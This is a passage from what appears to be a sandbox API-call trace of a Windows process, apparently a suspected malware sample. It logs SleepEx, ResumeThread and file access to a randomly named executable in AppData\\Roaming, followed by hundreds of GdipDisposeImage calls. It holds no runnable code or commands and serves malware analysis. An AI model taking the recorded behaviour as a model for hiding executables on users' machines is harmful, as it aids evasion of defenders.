[158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
	[0075.953] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0076.959] ResumeThread (hThread=0x2a8) returned 0x1
	[0076.998] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", nBufferLength=0x105, lpBuffer=0x4de664, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpFilePart=0x0) returned 0x36
	[0076.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4deb58) returned 1
	[0076.999] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x242abd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x234
	[0076.999] GetFileType (hFile=0x234) returned 0x1
	[0076.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4deb54) returned 1
	[0076.999] GetFileType (hFile=0x234) returned 0x1
	[0077.057] CoGetContextToken (in: pToken=0x4dfa38 | out: pToken=0x4dfa38) returned 0x0
	[0077.057] CObjectContext::QueryInterface () returned 0x0
	[0077.057] CObjectContext::GetCurrentThreadType () returned 0x0
	[0077.057] Release () returned 0x0
	[0077.061] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x8568b0*=0xa8, lpdwindex=0x4df8dc | out: lpdwindex=0x4df8dc) returned 0x0

Thread:
	id = 61
	os_tid = 0xb20


Thread:
	id = 62
	os_tid = 0xb24

	[0039.492] CoGetContextToken (in: pToken=0x454f93c | out: pToken=0x454f93c) returned 0x800401f0
	[0039.492] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b94c8) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b9180) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b8e38) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b8af0) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b87a8) returned 0x0
	[0051.014] GdipDisposeImage (image=0x78b8460) returned 0x0
	[0051.014] GdipDisposeImage (image=0x789f1c8) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789ee80) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789eb38) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789e7f0) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789e4a8) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789e160) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789de18) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789dad0) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789d788) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789d440) returned 0x0
	[0051.015] GdipDisposeImage (image=0x789d0f8) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789cdb0) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789ca68) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789c720) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789c3d8) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789c090) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789bd48) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789ba00) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789b6b8) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789b370) returned 0x0
	[0051.016] GdipDisposeImage (image=0x789b028) returned 0x0
	[0051.017] GdipDisposeImage (image=0x789ace0) returned 0x0
	[0051.017] GdipDisposeImage (image=0x789a998) returned 0x0
	[0051.017] GdipDisposeImage (image=0x789a650) returned 0x0
	[0051.017] GdipDisposeImage (image=0x789a308) returned 0x0
	[0051.017] GdipDisposeImage (image=0x7899fc0) returned 0x0
	[0051.017] GdipDisposeImage (image=0x7899c78) returned 0x0
	[0051.017] GdipDisposeImage (image=0x7899930) returned 0x0
	[0051.017] GdipDisposeImage (image=0x79b06a0) returned 0x0
	[0051.017] GdipDisposeImage (image=0x79b0358) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79b0010) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79afcc8) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79af980) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79af638) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79af2f0) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79aefa8) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79aec60) returned 0x0
	[0051.018] GdipDisposeImage (image=0x79835c0) returned 0x0
	[0051.018] GdipDisposeImage (image=0x7983278) returned 0x0
	[0051.018] GdipDisposeImage (image=0x7982f30) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7982be8) returned 0x0
	[0051.019] GdipDisposeImage (image=0x79828a0) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7982558) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7982210) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7981ec8) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7981b80) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7981838) returned 0x0
	[0051.019] GdipDisposeImage (image=0x79814f0) returned 0x0
	[0051.019] GdipDisposeImage (image=0x79811a8) returned 0x0
	[0051.019] GdipDisposeImage (image=0x7980e60) returned 0x0
	[0051.020] GdipDisposeImage (image=0x7980b18) returned 0x0
	[0051.020] GdipDisposeImage (image=0x79807d0) returned 0x0
	[0051.020] GdipDisposeImage (image=0x7980488) returned 0x0
	[0051.020] GdipDisposeImage (image=0x7980140) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797fdf8) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797fab0) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797f768) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797f420) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797f0d8) returned 0x0
	[0051.020] GdipDisposeImage (image=0x797ed90) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797ea48) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797e700) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797e3b8) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797e070) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797dd28) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797d9e0) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797d698) returned 0x0
	[0051.021] GdipDisposeImage (image=0x797d350) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797d008) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797ccc0) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797c978) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797c630) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797c2e8) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797bfa0) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797bc58) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797b910) returned 0x0
	[0051.022] GdipDisposeImage (image=0x797b5c8) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797b280) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797af38) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797abf0) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797a8a8) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797a560) returned 0x0
	[0051.023] GdipDisposeImage (image=0x797a218) returned 0x0
	[0051.023] GdipDisposeImage (image=0x7979ed0) returned 0x0
	[0051.023] GdipDisposeImage (image=0x7979b88) returned 0x0
	[0051.023] GdipDisposeImage (image=0x7979840) returned 0x0
	[0051.023] GdipDisposeImage (image=0x79794f8) returned 0x0
	[0051.024] GdipDisposeImage (image=0x79791b0) returned 0x0
	[0051.024] GdipDisposeImage (image=0x7978e68) returned 0x0
	[0051.024] GdipDisposeImage (image=0x7978b20) returned 0x0
	[0051.024] GdipDisposeImage (image=0x79787d8) returned 0x0
	[0051.027] GdipDisposeImage (image=0x7978490) returned 0x0
	[0051.027] GdipDisposeImage (image=0x7978148) returned 0x0
	[0051.027] GdipDisposeImage (image=0x7977e00) returned 0x0
	[0051.027] GdipDisposeImage (image=0x7977ab8) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7977770) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7977428) returned 0x0
	[0051.028] GdipDisposeImage (image=0x79770e0) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7976d98) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7976a50) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7976708) returned 0x0
	[0051.028] GdipDisposeImage (image=0x79763c0) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7976078) returned 0x0
	[0051.028] GdipDisposeImage (image=0x7975d30) returned 0x0
	[0051.028] GdipDisposeImage (image=0x79759e8) returned 0x0
	[0051.029] GdipDisposeImage (image=0x79756a0) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7975358) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7975010) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7974cc8) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7974980) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7974638) returned 0x0
	[0051.029] GdipDisposeImage (image=0x79742f0) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7973fa8) returned 0x0
	[0051.029] GdipDisposeImage (image=0x7973c60) returned 0x0
	[0051.029] GdipDisposeImage (image=0x79445c0) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7944278) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7943f30) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7943be8) returned 0x0
	[0051.030] GdipDisposeImage (image=0x79438a0) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7943558) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7943210) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7942ec8) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7942b80) returned 0x0
	[0051.030] GdipDisposeImage (image=0x7942838) returned 0x0
	[0051.030] GdipDisposeImage (image=0x79424f0) returned 0x0
	[0051.031] GdipDisposeImage (image=0x79421a8) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7941e60) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7941b18) returned 0x0
	[0051.031] GdipDisposeImage (image=0x79417d0) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7941488) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7941140) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7940df8) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7940ab0) returned 0x0
	[0051.031] GdipDisposeImage (image=0x7940768) returned 0x0
	[0051.032] GdipDisposeImage (image=0x7940420) returned 0x0
	[0051.032] GdipDisposeImage (image=0x79400d8) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793fd90) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793fa48) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793f700) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793f3b8) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793f070) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793ed28) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793e9e0) returned 0x0
	[0051.032] GdipDisposeImage (image=0x793e698) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793e350) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793e008) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793dcc0) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793d978) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793d630) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793d2e8) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793cfa0) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793cc58) returned 0x0
	[0051.033] GdipDisposeImage (image=0x793c910) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793c5c8) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793c280) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793bf38) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793bbf0) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793b8a8) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793b560) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793b218) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793aed0) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793ab88) returned 0x0
	[0051.034] GdipDisposeImage (image=0x793a840) returned 0x0
	[0051.035] GdipDisposeImage (image=0x793a4f8) returned 0x0
	[0051.035] GdipDisposeImage (image=0x793a1b0) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7939e68) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7939b20) returned 0x0
	[0051.035] GdipDisposeImage (image=0x79397d8) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7939490) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7939148) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7938e00) returned 0x0
	[0051.035] GdipDisposeImage (image=0x7938ab8) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7938770) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7938428) returned 0x0
	[0051.036] GdipDisposeImage (image=0x79380e0) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7937d98) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7937a50) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7937708) returned 0x0
	[0051.036] GdipDisposeImage (image=0x79373c0) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7937078) returned 0x0
	[0051.036] GdipDisposeImage (image=0x7936d30) returned 0x0
	[0051.036] GdipDisposeImage (image=0x79369e8) returned 0x0
	[0051.037] GdipDisposeImage (image=0x79366a0) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7936358) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7936010) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7935cc8) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7935980) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7935638) returned 0x0
	[0051.037] GdipDisposeImage (image=0x79352f0) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7934fa8) returned 0x0
	[0051.037] GdipDisposeImage (image=0x7934c60) returned 0x0
	[0051.037] GdipDisposeImage (image=0x791b5c8) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791b280) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791af38) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791abf0) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791a8a8) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791a560) returned 0x0
	[0051.038] GdipDisposeImage (image=0x791a218) returned 0x0
	[0051.038] GdipDisposeImage (image=0x7919ed0) returned 0x0
	[0051.041] GdipDisposeImage (image=0x7919b88) returned 0x0
	[0051.041] GdipDisposeImage (image=0x7919840) returned 0x0
	[0051.041] GdipDisposeImage (image=0x79194f8) returned 0x0
	[0051.041] GdipDisposeImage (image=0x79191b0) returned 0x0
	[0051.041] GdipDisposeImage (image=0x7918e68) returned 0x0
	[0051.041] GdipDisposeImage (image=0x7918b20) returned 0x0
	[0051.042] GdipDisposeImage (image=0x79187d8) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7918490) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7918148) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7917e00) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7917ab8) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7917770) returned 0x0
	[0051.042] GdipDisposeImage (image=0x7917428) returned 0x0
	[0051.042] GdipDisposeImage (image=0x79170e0) returned 0x0
	[0051.043] GdipDisposeImage (image=0x7916d98) returned 0x0
	[0051.043] GdipDisposeImage (image=0x7916a50) returned 0x0
	[0051.043] GdipDisposeImage (image=0x7916708) returned 0x0
	[0051.043] GdipDisposeImage (image=0x79163c0) returned 0x0
	[0051.043] GdipDisposeImage (image=0x7916078) returned 0x0
	[0051.043] GdipDisposeImage (image=0x7915d30) returned 0x0
	[0051.044] GdipDisposeImage (image=0x79159e8) returned 0x0
	[0051.044] GdipDisposeImage (image=0x79156a0) returned 0x0
	[0051.044] GdipDisposeImage (image=0x7915358) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7915010) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7914cc8) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7914980) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7914638) returned 0x0
	[0051.045] GdipDisposeImage (image=0x79142f0) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7913fa8) returned 0x0
	[0051.045] GdipDisposeImage (image=0x7913c60) returned 0x0
	[0051.045] GdipDisposeImage (image=0x78fedc8) returned 0x0
	[0051.045] GdipDisposeImage (image=0x78fea80) returned 0x0
	[0051.045] GdipDisposeImage (image=0x78fe738) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fe3f0) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fe0a8) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fdd60) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fda18) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fd6d0) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fd388) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fd040) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fccf8) returned 0x0
	[0051.046] GdipDisposeImage (image=0x78fc9b0) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fc668) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fc320) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fbfd8) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fbc90) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fb948) returned 0x0
	[0051.047] GdipDisposeImage (image=0x78fb600) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78fb2b8) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78faf70) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78fac28) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78fa8e0) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78fa598) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78fa250) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78f9f08) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78f9bc0) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78f9878) returned 0x0
	[0051.048] GdipDisposeImage (image=0x78f9530) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f91e8) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f8ea0) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f8b58) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f8810) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f84c8) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f8180) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f7e38) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f7af0) returned 0x0
	[0051.049] GdipDisposeImage (image=0x78f77a8) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78f7460) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78e05c8) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78e0280) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78dff38) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78dfbf0) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78df8a8) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78df560) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78df218) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78deed0) returned 0x0
	[0051.050] GdipDisposeImage (image=0x78deb88) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78de840) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78de4f8) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78de1b0) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dde68) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78ddb20) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dd7d8) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dd490) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dd148) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dce00) returned 0x0
	[0051.051] GdipDisposeImage (image=0x78dcab8) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dc770) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dc428) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dc0e0) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dbd98) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dba50) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78db708) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78db3c0) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78db078) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78dad30) returned 0x0
	[0051.052] GdipDisposeImage (image=0x78da9e8) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78da6a0) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78da358) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78da010) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d9cc8) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d9980) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d9638) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d92f0) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d8fa8) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78d8c60) returned 0x0
	[0051.053] GdipDisposeImage (image=0x78bfdc8) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bfa80) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bf738) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bf3f0) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bf0a8) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bed60) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78bea18) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78be6d0) returned 0x0
	[0051.054] GdipDisposeImage (image=0x78be388) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78be040) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bdcf8) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bd9b0) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bd668) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bd320) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bcfd8) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bcc90) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bc948) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bc600) returned 0x0
	[0051.055] GdipDisposeImage (image=0x78bc2b8) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78bbf70) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78bbc28) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78bb8e0) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78bb598) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78bb250) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78baf08) returned 0x0
	[0051.056] GdipDisposeImage (image=0x78babc0) returned 0x0
